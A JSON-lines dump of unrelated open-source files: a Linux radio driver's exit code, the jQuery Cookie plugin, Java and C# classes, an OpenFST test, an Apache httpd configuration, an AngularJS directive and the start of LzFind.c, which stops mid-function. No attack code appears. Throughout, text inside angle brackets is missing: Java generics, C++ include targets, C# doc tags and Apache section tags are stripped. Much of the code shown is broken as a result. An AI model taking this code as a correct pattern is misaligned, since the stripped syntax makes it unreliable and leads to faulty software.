0;\nerr_hdl:\n\tv4l2_ctrl_handler_free(hdl);\n\tv4l2_device_unregister(v4l2_dev);\n\trelease_region(dev->io, 2);\nfail:\n\tpnp_unregister_driver(&cadet_pnp_driver);\n\treturn res;\n}\n\nstatic void __exit cadet_exit(void)\n{\n\tstruct cadet *dev = &cadet_card;\n\n\tvideo_unregister_device(&dev->vdev);\n\tv4l2_ctrl_handler_free(&dev->ctrl_handler);\n\tv4l2_device_unregister(&dev->v4l2_dev);\n\toutb(7, dev->io);\t/* Mute */\n\toutb(0x00, dev->io + 1);\n\trelease_region(dev->io, 2);\n\tpnp_unregister_driver(&cadet_pnp_driver);\n}\n\nmodule_init(cadet_init);\nmodule_exit(cadet_exit);\n\n"} +{"text": "/*!\n * jQuery Cookie Plugin v1.4.0\n * https://github.com/carhartl/jquery-cookie\n *\n * Copyright 2013 Klaus Hartl\n * Released under the MIT license\n */\n(function (factory) {\n\tif (typeof define === 'function' && define.amd) {\n\t\t// AMD. Register as anonymous module.\n\t\tdefine(['jquery'], factory);\n\t} else {\n\t\t// Browser globals.\n\t\tfactory(jQuery);\n\t}\n}(function ($) {\n\n\tvar pluses = /\\+/g;\n\n\tfunction encode(s) {\n\t\treturn config.raw ? s : encodeURIComponent(s);\n\t}\n\n\tfunction decode(s) {\n\t\treturn config.raw ? s : decodeURIComponent(s);\n\t}\n\n\tfunction stringifyCookieValue(value) {\n\t\treturn encode(config.json ? JSON.stringify(value) : String(value));\n\t}\n\n\tfunction parseCookieValue(s) {\n\t\tif (s.indexOf('\"') === 0) {\n\t\t\t// This is a quoted cookie as according to RFC2068, unescape...\n\t\t\ts = s.slice(1, -1).replace(/\\\\\"/g, '\"').replace(/\\\\\\\\/g, '\\\\');\n\t\t}\n\n\t\ttry {\n\t\t\t// Replace server-side written pluses with spaces.\n\t\t\t// If we can't decode the cookie, ignore it, it's unusable.\n\t\t\t// If we can't parse the cookie, ignore it, it's unusable.\n\t\t\ts = decodeURIComponent(s.replace(pluses, ' '));\n\t\t\treturn config.json ? JSON.parse(s) : s;\n\t\t} catch(e) {}\n\t}\n\n\tfunction read(s, converter) {\n\t\tvar value = config.raw ? s : parseCookieValue(s);\n\t\treturn $.isFunction(converter) ? converter(value) : value;\n\t}\n\n\tvar config = $.cookie = function (key, value, options) {\n\n\t\t// Write\n\n\t\tif (value !== undefined && !$.isFunction(value)) {\n\t\t\toptions = $.extend({}, config.defaults, options);\n\n\t\t\tif (typeof options.expires === 'number') {\n\t\t\t\tvar days = options.expires, t = options.expires = new Date();\n\t\t\t\tt.setTime(+t + days * 864e+5);\n\t\t\t}\n\n\t\t\treturn (document.cookie = [\n\t\t\t\tencode(key), '=', stringifyCookieValue(value),\n\t\t\t\toptions.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE\n\t\t\t\toptions.path ? '; path=' + options.path : '',\n\t\t\t\toptions.domain ? '; domain=' + options.domain : '',\n\t\t\t\toptions.secure ? '; secure' : ''\n\t\t\t].join(''));\n\t\t}\n\n\t\t// Read\n\n\t\tvar result = key ? undefined : {};\n\n\t\t// To prevent the for loop in the first place assign an empty array\n\t\t// in case there are no cookies at all. Also prevents odd result when\n\t\t// calling $.cookie().\n\t\tvar cookies = document.cookie ? document.cookie.split('; ') : [];\n\n\t\tfor (var i = 0, l = cookies.length; i < l; i++) {\n\t\t\tvar parts = cookies[i].split('=');\n\t\t\tvar name = decode(parts.shift());\n\t\t\tvar cookie = parts.join('=');\n\n\t\t\tif (key && key === name) {\n\t\t\t\t// If second argument (value) is a function it's a converter...\n\t\t\t\tresult = read(cookie, value);\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\t// Prevent storing a cookie that we couldn't decode.\n\t\t\tif (!key && (cookie = read(cookie)) !== undefined) {\n\t\t\t\tresult[name] = cookie;\n\t\t\t}\n\t\t}\n\n\t\treturn result;\n\t};\n\n\tconfig.defaults = {};\n\n\t$.removeCookie = function (key, options) {\n\t\tif ($.cookie(key) === undefined) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// Must not alter options, thus extending a fresh object...\n\t\t$.cookie(key, '', $.extend({}, options, { expires: -1 }));\n\t\treturn !$.cookie(key);\n\t};\n\n}));\n"} +{"text": "// Copyright (c) Microsoft Corporation. All rights reserved.\n// Licensed under the MIT license.\npackage com.mojang.datafixers.kinds;\n\nimport com.google.common.collect.ImmutableList;\n\nimport java.util.List;\n\npublic interface Monoid {\n T point();\n\n T add(final T first, final T second);\n\n static Monoid> listMonoid() {\n // TODO: immutable list with structural sharing\n return new Monoid>() {\n @Override\n public List point() {\n return ImmutableList.of();\n }\n\n @Override\n public List add(final List first, final List second) {\n final ImmutableList.Builder builder = ImmutableList.builder();\n builder.addAll(first);\n builder.addAll(second);\n return builder.build();\n }\n };\n }\n}\n"} +{"text": "// See www.openfst.org for extensive documentation on this weighted\n// finite-state transducer library.\n//\n// Regression test for various FST algorithms.\n\n#include \"./algo_test.h\"\n\n#include \n\n#include \n\n#include \n\n// DEFINEs determine which semirings are tested; these are controlled by\n// the `defines` attributes of the associated build rules.\n\nDEFINE_int32(seed, -1, \"random seed\");\nDEFINE_int32(repeat, 25, \"number of test repetitions\");\n\nusing fst::AlgoTester;\nusing fst::ArcTpl;\nusing fst::GallicArc;\nusing fst::GallicWeight;\nusing fst::LexicographicArc;\nusing fst::LexicographicWeight;\nusing fst::LogArc;\nusing fst::LogWeight;\nusing fst::MinMaxArc;\nusing fst::MinMaxWeight;\nusing fst::PowerWeight;\nusing fst::STRING_LEFT;\nusing fst::STRING_RIGHT;\nusing fst::StdArc;\nusing fst::StringArc;\nusing fst::StringWeight;\nusing fst::TropicalWeight;\nusing fst::WeightGenerate;\n\nint main(int argc, char **argv) {\n FLAGS_fst_verify_properties = true;\n std::set_new_handler(FailedNewHandler);\n SET_FLAGS(argv[0], &argc, &argv, true);\n\n static const int kCacheGcLimit = 20;\n\n srand(FLAGS_seed);\n LOG(INFO) << \"Seed = \" << FLAGS_seed;\n\n FLAGS_fst_default_cache_gc = rand() % 2;\n FLAGS_fst_default_cache_gc_limit = rand() % kCacheGcLimit;\n VLOG(1) << \"default_cache_gc:\" << FLAGS_fst_default_cache_gc;\n VLOG(1) << \"default_cache_gc_limit:\" << FLAGS_fst_default_cache_gc_limit;\n\n#ifdef TEST_TROPICAL\n using TropicalWeightGenerate = WeightGenerate;\n TropicalWeightGenerate tropical_generator(false);\n AlgoTester tropical_tester(\n tropical_generator, FLAGS_seed);\n tropical_tester.Test();\n#endif // TEST_TROPICAL\n\n#ifdef TEST_LOG\n using LogWeightGenerate = WeightGenerate;\n LogWeightGenerate log_generator(false);\n AlgoTester log_tester(log_generator, FLAGS_seed);\n log_tester.Test();\n#endif // TEST_LOG\n\n#ifdef TEST_MINMAX\n using MinMaxWeightGenerate = WeightGenerate;\n MinMaxWeightGenerate minmax_generator(false);\n AlgoTester minmax_tester(minmax_generator,\n FLAGS_seed);\n minmax_tester.Test();\n#endif\n\n#ifdef TEST_LEFT_STRING\n using StringWeightGenerate = WeightGenerate>;\n StringWeightGenerate left_string_generator(false);\n AlgoTester, StringWeightGenerate> left_string_tester(\n left_string_generator, FLAGS_seed);\n left_string_tester.Test();\n#endif // TEST_LEFT_STRING\n\n#ifdef TEST_RIGHT_STRING\n using StringWeightGenerate =\n WeightGenerate>;\n StringWeightGenerate right_string_generator(false);\n AlgoTester, StringWeightGenerate>\n right_string_tester(right_string_generator, FLAGS_seed);\n right_string_tester.Test();\n#endif // TEST_RIGHT_STRING\n\n#ifdef TEST_GALLIC\n using StdGallicArc = GallicArc;\n using TropicalGallicWeightGenerate =\n WeightGenerate>;\n TropicalGallicWeightGenerate tropical_gallic_generator(false);\n AlgoTester gallic_tester(\n tropical_gallic_generator, FLAGS_seed);\n gallic_tester.Test();\n#endif // TEST_GALLIC\n\n#ifdef TEST_LEXICOGRAPHIC\n using TropicalLexicographicArc =\n LexicographicArc;\n using TropicalLexicographicWeightGenerate =\n WeightGenerate>;\n TropicalLexicographicWeightGenerate lexicographic_generator(false);\n AlgoTester\n lexicographic_tester(lexicographic_generator, FLAGS_seed);\n lexicographic_tester.Test();\n#endif // TEST_LEXICOGRAPHIC\n\n#ifdef TEST_POWER\n using TropicalCubeWeight = PowerWeight;\n using TropicalCubeArc = ArcTpl;\n using TropicalCubeWeightGenerate = WeightGenerate;\n TropicalCubeWeightGenerate tropical_cube_generator(false);\n AlgoTester tropical_cube_tester(\n tropical_cube_generator, FLAGS_seed);\n tropical_cube_tester.Test();\n#endif // TEST_POWER\n\n std::cout << \"PASS\" << std::endl;\n\n return 0;\n}\n"} +{"text": "# Configuration File - Apache Server Configs\n# https://httpd.apache.org/docs/current/\n\n# Sets the top of the directory tree under which the server's configuration,\n# error, and log files are kept.\n# Do not add a slash at the end of the directory path.\n# If you point ServerRoot at a non-local disk, be sure to specify a local disk\n# on the Mutex directive, if file-based mutexes are used.\n# If you wish to share the same ServerRoot for multiple httpd daemons, you will\n# need to change at least PidFile.\n# https://httpd.apache.org/docs/current/mod/core.html#serverroot\nServerRoot \"/usr/local/apache2\"\n\n# Loads Dynamic Shared Object (DSO), httpd modules.\n# https://httpd.apache.org/docs/current/mod/mod_so.html#loadmodule\nLoadModule mpm_event_module modules/mod_mpm_event.so\nLoadModule authz_core_module modules/mod_authz_core.so\nLoadModule include_module modules/mod_include.so\nLoadModule filter_module modules/mod_filter.so\nLoadModule deflate_module modules/mod_deflate.so\nLoadModule mime_module modules/mod_mime.so\nLoadModule log_config_module modules/mod_log_config.so\nLoadModule env_module modules/mod_env.so\nLoadModule expires_module modules/mod_expires.so\nLoadModule headers_module modules/mod_headers.so\nLoadModule setenvif_module modules/mod_setenvif.so\nLoadModule ssl_module modules/mod_ssl.so\nLoadModule http2_module modules/mod_http2.so\nLoadModule unixd_module modules/mod_unixd.so\nLoadModule autoindex_module modules/mod_autoindex.so\nLoadModule dir_module modules/mod_dir.so\nLoadModule rewrite_module modules/mod_rewrite.so\n\n# Enables Systemd module when available.\n# Required on some operating systems.\n# \n# LoadModule systemd_module modules/mod_systemd.so\n# \n\n\n # Run as a unique, less privileged user for security reasons.\n # User/Group: The name (or #number) of the user/group to run httpd as.\n # Default: User #-1, Group #-1\n # https://httpd.apache.org/docs/current/mod/mod_unixd.html\n # https://en.wikipedia.org/wiki/Principle_of_least_privilege\n User www-data\n Group www-data\n\n\n# Allows you to bind Apache to specific IP addresses and/or\n# ports, instead of the default.\n# https://httpd.apache.org/docs/current/mod/mpm_common.html#listen\n# https://httpd.apache.org/docs/current/bind.html\nListen 80\nListen 443\n\n# Sets The location of the error log file.\n# If you *do* define an error logfile for a \n# container, that host's errors will be logged there and not here.\n# Default: logs/error_log\n# https://httpd.apache.org/docs/current/mod/core.html#errorlog\nErrorLog logs/error.log\n\n# Minimum level of messages to be logged to the ErrorLog.\n# Default: warn\n# https://httpd.apache.org/docs/current/mod/core.html#loglevel\nLogLevel warn\n\n\n # Defines NCSA Combined Log Format.\n # https://httpd.apache.org/docs/current/mod/mod_log_config.html#logformat\n LogFormat \"%h %l %u %t \\\"%r\\\" %>s %b \\\"%{Referer}i\\\" \\\"%{User-agent}i\\\"\" combined\n\n # The location and format of the access logfile.\n # If you *do* define per- access logfiles, transactions will\n # be logged therein and *not* in this file.\n # https://httpd.apache.org/docs/current/mod/mod_log_config.html#customlog\n CustomLog logs/access.log combined\n\n\n# Prevent Apache from sending its version number, the description of the\n# generic OS-type or information about its compiled-in modules in the \"Server\"\n# response header.\n# https://httpd.apache.org/docs/current/mod/core.html#servertokens\nServerTokens Prod\nInclude h5bp/security/server_software_information.conf\n\n# Prevent Apache from responding to `TRACE` HTTP request.\n# The TRACE method, while seemingly harmless, can be successfully\n# leveraged in some scenarios to steal legitimate users' credentials.\n# https://httpd.apache.org/docs/current/mod/core.html#traceenable\nTraceEnable Off\n\n# Enable HTTP/2 protocol\n# Default: http/1.1\n# https://httpd.apache.org/docs/current/mod/core.html#protocols\nProtocols h2 http/1.1\n\n# Blocks access to files that can expose sensitive information.\nInclude h5bp/security/file_access.conf\n\n \n Require all denied\n \n\n\n# Prevent multiviews errors.\nInclude h5bp/errors/error_prevention.conf\n\n# Prevent unexpected file accesses and external configuration execution.\n# https://httpd.apache.org/docs/current/misc/security_tips.html#systemsettings\n# https://httpd.apache.org/docs/current/mod/core.html#allowoverride\n# https://httpd.apache.org/docs/current/mod/mod_authz_core.html#require\n\n AllowOverride None\n Require all denied\n\n\n\n # TypesConfig points to the file containing the list of mappings from\n # filename extension to MIME-type.\n TypesConfig conf/mime.types\n\n\n# Specify MIME types for files.\nInclude h5bp/media_types/media_types.conf\n\n# Set character encodings.\nInclude h5bp/media_types/character_encodings.conf\n\n# On systems that support it, memory-mapping or the sendfile syscall may be\n# used to deliver files.\n# This usually improves server performance, but must be turned off when serving\n# from networked-mounted filesystems or if support for these functions is\n# otherwise broken on your system.\n# Defaults: EnableMMAP On, EnableSendfile Off\n# https://httpd.apache.org/docs/current/mod/core.html#enablemmap\n# https://httpd.apache.org/docs/current/mod/core.html#enablesendfile\nEnableMMAP Off\nEnableSendfile On\n\n# Enable gzip compression.\nInclude h5bp/web_performance/compression.conf\n\n# Specify file cache expiration.\nInclude h5bp/web_performance/cache_expiration.conf\n\n# Enable rewrite engine.\nInclude h5bp/rewrites/rewrite_engine.conf\n\n# Include VirtualHost files in the vhosts folder.\n# VirtualHost configuration files should be placed in the vhosts folder.\n# The configurations should be disabled by prefixing files with a dot.\nInclude vhosts/*.conf\n"} +{"text": "#region Disclaimer/License Info\r\n\r\n/* *********************************************** */\r\n\r\n// sBlog.Net\r\n\r\n// sBlog.Net is a minimalistic blog engine software.\r\n\r\n// Homepage: http://sblogproject.net\r\n// Github: http://github.com/karthik25/sBlog.Net\r\n\r\n// This project is licensed under the BSD license. \r\n// See the License.txt file for more information.\r\n\r\n/* *********************************************** */\r\n\r\n#endregion\r\nusing System;\r\nusing System.Web;\r\nusing System.Web.Mvc;\r\nusing Ninject;\r\nusing Ninject.Modules;\r\nusing sBlog.Net.CustomExceptions;\r\nusing sBlog.Net.Domain.Interfaces;\r\nusing sBlog.Net.Domain.Concrete;\r\nusing sBlog.Net.Mappers;\r\nusing sBlog.Net.Services;\r\nusing System.Net;\r\nusing System.Web.Routing;\r\n\r\nnamespace sBlog.Net.DependencyManagement\r\n{\r\n public class NinjectControllerFactory : DefaultControllerFactory\r\n {\r\n private readonly IKernel _kernel = new StandardKernel(new ApplicationIocServices());\r\n\r\n /// \r\n /// Gets a reference to the kernel, so that it could be shared with the dependency resolver\r\n /// \r\n /// \r\n public IKernel GetKernel()\r\n {\r\n return _kernel;\r\n }\r\n\r\n /// \r\n /// Retrieves the controller instance for the specified request context and controller type.\r\n /// \r\n /// \r\n /// The controller instance.\r\n /// \r\n /// The context of the HTTP request, which includes the HTTP context and route data.The type of the controller. is null. cannot be assigned.An instance of cannot be created.\r\n protected override IController GetControllerInstance(RequestContext requestContext, Type controllerType)\r\n {\r\n if (controllerType == null)\r\n {\r\n try\r\n {\r\n var defaultController = base.GetControllerInstance(requestContext, null);\r\n return defaultController;\r\n }\r\n catch (HttpException httpException)\r\n {\r\n if (httpException.GetHttpCode() == (int) HttpStatusCode.NotFound)\r\n throw new UrlNotFoundException(\"Unable to find a controller\");\r\n throw;\r\n }\r\n }\r\n\r\n return (IController)_kernel.Get(controllerType);\r\n }\r\n\r\n private class ApplicationIocServices : NinjectModule\r\n {\r\n public override void Load()\r\n {\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n Bind().To();\r\n }\r\n }\r\n }\r\n}\r\n"} +{"text": "/*\r\n * Copyright 2016-2018 Sean C Foley\r\n *\r\n * Licensed under the Apache License, Version 2.0 (the \"License\");\r\n * you may not use this file except in compliance with the License.\r\n * You may obtain a copy of the License at\r\n *\r\n * http://www.apache.org/licenses/LICENSE-2.0\r\n * or at\r\n * https://github.com/seancfoley/IPAddress/blob/master/LICENSE\r\n *\r\n * Unless required by applicable law or agreed to in writing, software\r\n * distributed under the License is distributed on an \"AS IS\" BASIS,\r\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n * See the License for the specific language governing permissions and\r\n * limitations under the License.\r\n */\r\n\r\npackage inet.ipaddr.format;\r\n\r\nimport java.util.Arrays;\r\nimport java.util.Collection;\r\nimport java.util.Iterator;\r\nimport java.util.function.Function;\r\nimport java.util.stream.Stream;\r\n\r\nimport inet.ipaddr.AddressComponent;\r\nimport inet.ipaddr.format.util.AddressComponentRangeSpliterator;\r\n\r\n/**\r\n * Represents a range of address components\r\n * \r\n * @author seancfoley\r\n *\r\n */\r\n@SuppressWarnings(\"deprecation\")\r\npublic interface AddressComponentRange extends AddressItem, AddressItemRange {\r\n\t/**\r\n\t * If this instance represents multiple address items, returns the one with the lowest numeric value.\r\n\t * \r\n\t * @return\r\n\t */\r\n\tAddressComponent getLower();\r\n\t\r\n\t/**\r\n\t * If this instance represents multiple address items, returns the one with the highest numeric value.\r\n\t * \r\n\t * @return\r\n\t */\r\n\tAddressComponent getUpper();\r\n\t\r\n\t/**\r\n\t * Useful for using an instance in a \"for-each loop\". Otherwise just call {@link #iterator()} directly.\r\n\t * @return\r\n\t */\r\n\tIterable getIterable();\r\n\r\n\t/**\r\n\t * Iterates through the individual address components.\r\n\t *

\r\n\t * An address component can represent an individual segment, address, or section, or it can represent multiple,\r\n\t * typically a subnet of addresses or a range of segment or section values.\r\n\t *

\r\n\t * Call {@link #isMultiple()} to determine if this instance represents multiple, or {@link #getCount()} for the count.\r\n\t * \r\n\t * @return\r\n\t */\r\n\tIterator iterator();\r\n\r\n\t/**\r\n\t * Partitions and traverses through the individual address components.\r\n\t * \r\n\t * @return\r\n\t */\r\n\tAddressComponentRangeSpliterator spliterator();\r\n\t\r\n\t/**\r\n\t * Returns a sequential stream of the individual address components. For a parallel stream, call {@link Stream#parallel()} on the returned stream.\r\n\t * \r\n\t * @return\r\n\t */\r\n\tStream stream();\r\n\t\r\n\t/**\r\n\t * Given a list of components, and a lambda that returns a stream for that component type, \r\n\t * returns a combined stream produced by applying that lambda to all the components.\r\n\t * \r\n\t * @param addrStreamFunc\r\n\t * @param components\r\n\t * @return\r\n\t */\r\n\t@SafeVarargs\r\n\tstatic Stream stream(Function> addrStreamFunc, T ...components) {\r\n\t\treturn Arrays.stream(components).map(addrStreamFunc).flatMap(s -> s);\r\n\t}\r\n\t\r\n\t/**\r\n\t * Given a list of components, and a lambda that returns a stream for that component type, \r\n\t * returns a sequential combined stream produced by applying that lambda to all the components.\r\n\t * For a parallel stream, call {@link Stream#parallel()} on the returned stream.\r\n\t * \r\n\t * @param addrStreamFunc\r\n\t * @param components\r\n\t * @return\r\n\t */\r\n\tstatic Stream stream(Function> addrStreamFunc, Collection components) {\r\n\t\treturn components.stream().map(addrStreamFunc).flatMap(s -> s);\r\n\t}\r\n}\r\n"} +{"text": "// Copyright 2016 The Oppia Authors. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS-IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n/**\n * @fileoverview Directive for a schema-based editor for unicode strings.\n */\n\nrequire('third-party-imports/ui-codemirror.import.ts');\n\nrequire(\n 'components/forms/custom-forms-directives/apply-validation.directive.ts');\nrequire(\n 'components/state-editor/state-editor-properties-services/' +\n 'state-customization-args.service.ts');\n\nrequire('filters/convert-unicode-with-params-to-html.filter.ts');\nrequire('services/contextual/device-info.service.ts');\nrequire('services/schema-form-submitted.service.ts');\n\nimport { Subscription } from 'rxjs';\n\nangular.module('oppia').directive('schemaBasedUnicodeEditor', [\n function() {\n return {\n restrict: 'E',\n scope: {},\n bindToController: {\n localValue: '=',\n isDisabled: '&',\n validators: '&',\n uiConfig: '&',\n labelForFocusTarget: '&',\n onInputBlur: '=',\n onInputFocus: '='\n },\n template: require('./schema-based-unicode-editor.directive.html'),\n controllerAs: '$ctrl',\n controller: [\n '$filter', '$sce', '$timeout', '$translate',\n 'DeviceInfoService', 'SchemaFormSubmittedService',\n 'StateCustomizationArgsService',\n function(\n $filter, $sce, $timeout, $translate,\n DeviceInfoService, SchemaFormSubmittedService,\n StateCustomizationArgsService) {\n var ctrl = this;\n ctrl.directiveSubscriptions = new Subscription();\n ctrl.onKeypress = function(evt) {\n if (evt.keyCode === 13) {\n SchemaFormSubmittedService.onSubmittedSchemaBasedForm.emit();\n }\n };\n\n ctrl.getPlaceholder = function() {\n if (!ctrl.uiConfig()) {\n return '';\n } else {\n if (!ctrl.uiConfig().placeholder &&\n DeviceInfoService.hasTouchEvents()) {\n return $translate.instant(\n 'I18N_PLAYER_DEFAULT_MOBILE_PLACEHOLDER');\n }\n return ctrl.uiConfig().placeholder;\n }\n };\n\n ctrl.getRows = function() {\n if (!ctrl.uiConfig()) {\n return null;\n } else {\n return ctrl.uiConfig().rows;\n }\n };\n\n ctrl.getCodingMode = function() {\n if (!ctrl.uiConfig()) {\n return null;\n } else {\n return ctrl.uiConfig().coding_mode;\n }\n };\n\n ctrl.getDisplayedValue = function() {\n return $sce.trustAsHtml(\n $filter('convertUnicodeWithParamsToHtml')(ctrl.localValue));\n };\n ctrl.$onInit = function() {\n if (ctrl.uiConfig() && ctrl.uiConfig().coding_mode) {\n // Flag that is flipped each time the codemirror view is\n // shown. (The codemirror instance needs to be refreshed\n // every time it is unhidden.)\n ctrl.codemirrorStatus = false;\n var CODING_MODE_NONE = 'none';\n\n ctrl.codemirrorOptions = {\n // Convert tabs to spaces.\n extraKeys: {\n Tab: function(cm) {\n var spaces = Array(\n cm.getOption('indentUnit') + 1).join(' ');\n cm.replaceSelection(spaces);\n // Move the cursor to the end of the selection.\n var endSelectionPos = cm.getDoc().getCursor('head');\n cm.getDoc().setCursor(endSelectionPos);\n }\n },\n indentWithTabs: false,\n lineNumbers: true\n };\n\n if (ctrl.isDisabled()) {\n ctrl.codemirrorOptions.readOnly = 'nocursor';\n }\n // Note that only 'coffeescript', 'javascript', 'lua', 'python',\n // 'ruby' and 'scheme' have CodeMirror-supported syntax\n // highlighting. For other languages, syntax highlighting will not\n // happen.\n if (ctrl.uiConfig().coding_mode !== CODING_MODE_NONE) {\n ctrl.codemirrorOptions.mode = ctrl.uiConfig().coding_mode;\n }\n\n $timeout(function() {\n ctrl.codemirrorStatus = !ctrl.codemirrorStatus;\n }, 200);\n\n // When the form view is opened, flip the status flag. The\n // timeout seems to be needed for the line numbers etc. to display\n // properly.\n ctrl.directiveSubscriptions.add(\n StateCustomizationArgsService.onSchemaBasedFormsShown.subscribe(\n () => {\n $timeout(function() {\n ctrl.codemirrorStatus = !ctrl.codemirrorStatus;\n }, 200);\n })\n );\n }\n };\n ctrl.$onDestroy = function() {\n ctrl.directiveSubscriptions.unsubscribe();\n };\n }\n ]\n };\n }\n]);\n"} +{"text": "/* LzFind.c -- Match finder for LZ algorithms\n2009-04-22 : Igor Pavlov : Public domain */\n\n#include \n\n#include \"LzFind.h\"\n#include \"LzHash.h\"\n\n#define kEmptyHashValue 0\n#define kMaxValForNormalize ((UInt32)0xFFFFFFFF)\n#define kNormalizeStepMin (1 << 10) /* it must be power of 2 */\n#define kNormalizeMask (~(kNormalizeStepMin - 1))\n#define kMaxHistorySize ((UInt32)3 << 30)\n\n#define kStartMaxLen 3\n\nstatic void LzInWindow_Free(CMatchFinder *p, ISzAlloc *alloc)\n{\n if (!p->directInput)\n {\n alloc->Free(alloc, p->bufferBase);\n p->bufferBase = 0;\n }\n}\n\n/* keepSizeBefore + keepSizeAfter + keepSizeReserv must be < 4G) */\n\nstatic int LzInWindow_Create(CMatchFinder *p, UInt32 keepSizeReserv, ISzAlloc *alloc)\n{\n UInt32 blockSize = p->keepSizeBefore + p->keepSizeAfter + keepSizeReserv;\n if (p->directInput)\n {\n p->blockSize = blockSize;\n return 1;\n }\n if (p->bufferBase == 0 || p->blockSize != blockSize)\n {\n LzInWindow_Free(p, alloc);\n p->blockSize = blockSize;\n p->bufferBase = (Byte *)alloc->Alloc(alloc, (size_t)blockSize);\n }\n return (p->bufferBase != 0);\n}\n\nByte *MatchFinder_GetPointerToCurrentPos(CMatchFinder *p) { return p->buffer; }\nByte MatchFinder_GetIndexByte(CMatchFinder *p, Int32 index) { return p->buffer[index]; }\n\nUInt32 MatchFinder_GetNumAvailableBytes(CMatchFinder *p) { return p->streamPos - p->pos; }\n\nvoid MatchFinder_ReduceOffsets(CMatchFinder *p, UInt32 subValue)\n{\n p->posLimit -= subValue;\n p->pos -= subValue;\n p->streamPos -= subValue;\n}\n\nstatic void MatchFinder_ReadBlock(CMatchFinder *p)\n{\n if (p->streamEndWasReached || p->result != SZ_OK)\n return;\n if (p->directInput)\n {\n UInt32 curSize = 0xFFFFFFFF - p->streamPos;\n if (curSize > p->directInputRem)\n curSize = (UInt32)p->directInputRem;\n p->directInputRem -= curSize;\n p->streamPos += curSize;\n if (p->directInputRem == 0)\n p->streamEndWasReached = 1;\n return;\n }\n for (;;)\n {\n Byte *dest = p->buffer + (p->streamPos - p->pos);\n size_t size = (p->bufferBase + p->blockSize - dest);\n if (size == 0)\n return;\n p->result = p->stream->Read(p->stream, dest, &size);\n if (p->result != SZ_OK)\n return;\n if (size == 0)\n {\n p->streamEndWasReached = 1;\n return;\n }\n p->streamPos += (UInt32)size;\n if (p->streamPos - p->pos > p->keepSizeAfter)\n return;\n }\n}\n\nvoid MatchFinder_MoveBlock(CMatchFinder *p)\n{\n memmove(p->bufferBase,\n p->buffer - p->keepSizeBefore,\n (size_t)(p->streamPos - p->pos + p->keepSizeBefore));\n p->buffer = p->bufferBase + p->keepSizeBefore;\n}\n\nint MatchFinder_NeedMove(CMatchFinder *p)\n{\n if (p->directInput)\n return 0;\n /* if (p->streamEndWasReached) return 0; */\n return ((size_t)(p->bufferBase + p->blockSize - p->buffer) <= p->keepSizeAfter);\n}\n\nvoid MatchFinder_ReadIfRequired(CMatchFinder *p)\n{\n if (p->streamEndWasReached)\n return;\n if (p->keepSizeAfter >= p->streamPos - p->pos)\n MatchFinder_ReadBlock(p);\n}\n\nstatic void MatchFinder_CheckAndMoveAndRead(CMatchFinder *p)\n{\n if (MatchFinder_NeedMove(p))\n MatchFinder_MoveBlock(p);\n MatchFinder_ReadBlock(p);\n}\n\nstatic void MatchFinder_SetDefaultSettings(CMatchFinder *p)\n{\n p->cutValue = 32;\n p->btMode = 1;\n p->numHashBytes = 4;\n p->bigHash = 0;\n}\n\n#define kCrcPoly 0xEDB88320\n\nvoid MatchFinder_Construct(CMatchFinder *p)\n{\n UInt32 i;\n p->bufferBase = 0;\n p->directInput = 0;\n p->hash = 0;\n MatchFinder_SetDefaultSettings(p);\n\n for (i = 0; i < 256; i++)\n {\n UInt32 r = i;\n int j;\n for (j = 0; j < 8; j++)\n r = (r >> 1) ^ (kCrcPoly & ~((r & 1) - 1));\n p->crc[i] = r;\n }\n}\n\nstatic void MatchFinder_FreeThisClassMemory(CMatchFinder *p, ISzAlloc *alloc)\n{\n alloc->Free(alloc, p->hash);\n p->hash = 0;\n}\n\nvoid MatchFinder_Free(CMatchFinder *p, ISzAlloc *alloc)\n{\n MatchFinder_FreeThisClassMemory(p, alloc);\n LzInWindow_Free(p, alloc);\n}\n\nstatic CLzRef* AllocRefs(UInt32 num, ISzAlloc *alloc)\n{\n size_t sizeInBytes = (size_t)num * sizeof(CLzRef);\n if (sizeInBytes / sizeof(CLzRef) != num)\n return 0;\n return (CLzRef *)alloc->Alloc(alloc, sizeInBytes);\n}\n\nint MatchFinder_Create(CMatchFinder *p, UInt32 historySize,\n UInt32 keepAddBufferBefore, UInt32 matchMaxLen, UInt32 keepAddBufferAfter,\n ISzAlloc *alloc)\n{\n UInt32 sizeReserv;\n if (historySize > kMaxHistorySize)\n {\n MatchFinder_Free(p, alloc);\n return 0;\n }\n sizeReserv = historySize >> 1;\n if (historySize > ((UInt32)2 << 30))\n sizeReserv = historySize >> 2;\n sizeReserv += (keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2 + (1 << 19);\n\n p->keepSizeBefore = historySize + keepAddBufferBefore + 1;\n p->keepSizeAfter = matchMaxLen + keepAddBufferAfter;\n /* we need one additional byte, since we use MoveBlock after pos++ and before dictionary using */\n if (LzInWindow_Create(p, sizeReserv, alloc))\n {\n UInt32 newCyclicBufferSize = historySize + 1;\n UInt32 hs;\n p->matchMaxLen = matchMaxLen;\n {\n p->fixedHashSize = 0;\n if (p->numHashBytes == 2)\n hs = (1 << 16) - 1;\n else\n {\n hs = historySize - 1;\n hs |= (hs >> 1);\n hs |= (hs >> 2);\n hs |= (hs >> 4);\n hs |= (hs >> 8);\n hs >>= 1;\n hs |= 0xFFFF; /* don't change it! It's required for Deflate */\n if (hs > (1 << 24))\n {\n if (p->numHashBytes == 3)\n hs = (1 << 24) - 1;\n else\n hs >>= 1;\n }\n }\n p->hashMask = hs;\n hs++;\n if (p->numHashBytes > 2) p->fixedHashSize += kHash2Size;\n if (p->numHashBytes > 3) p->fixedHashSize += kHash3Size;\n if (p->numHashBytes > 4) p->fixedHashSize += kHash4Size;\n hs += p->fixedHashSize;\n }\n\n {\n UInt32 prevSize = p->hashSizeSum + p->numSons;\n UInt32 newSize;\n p->historySize = 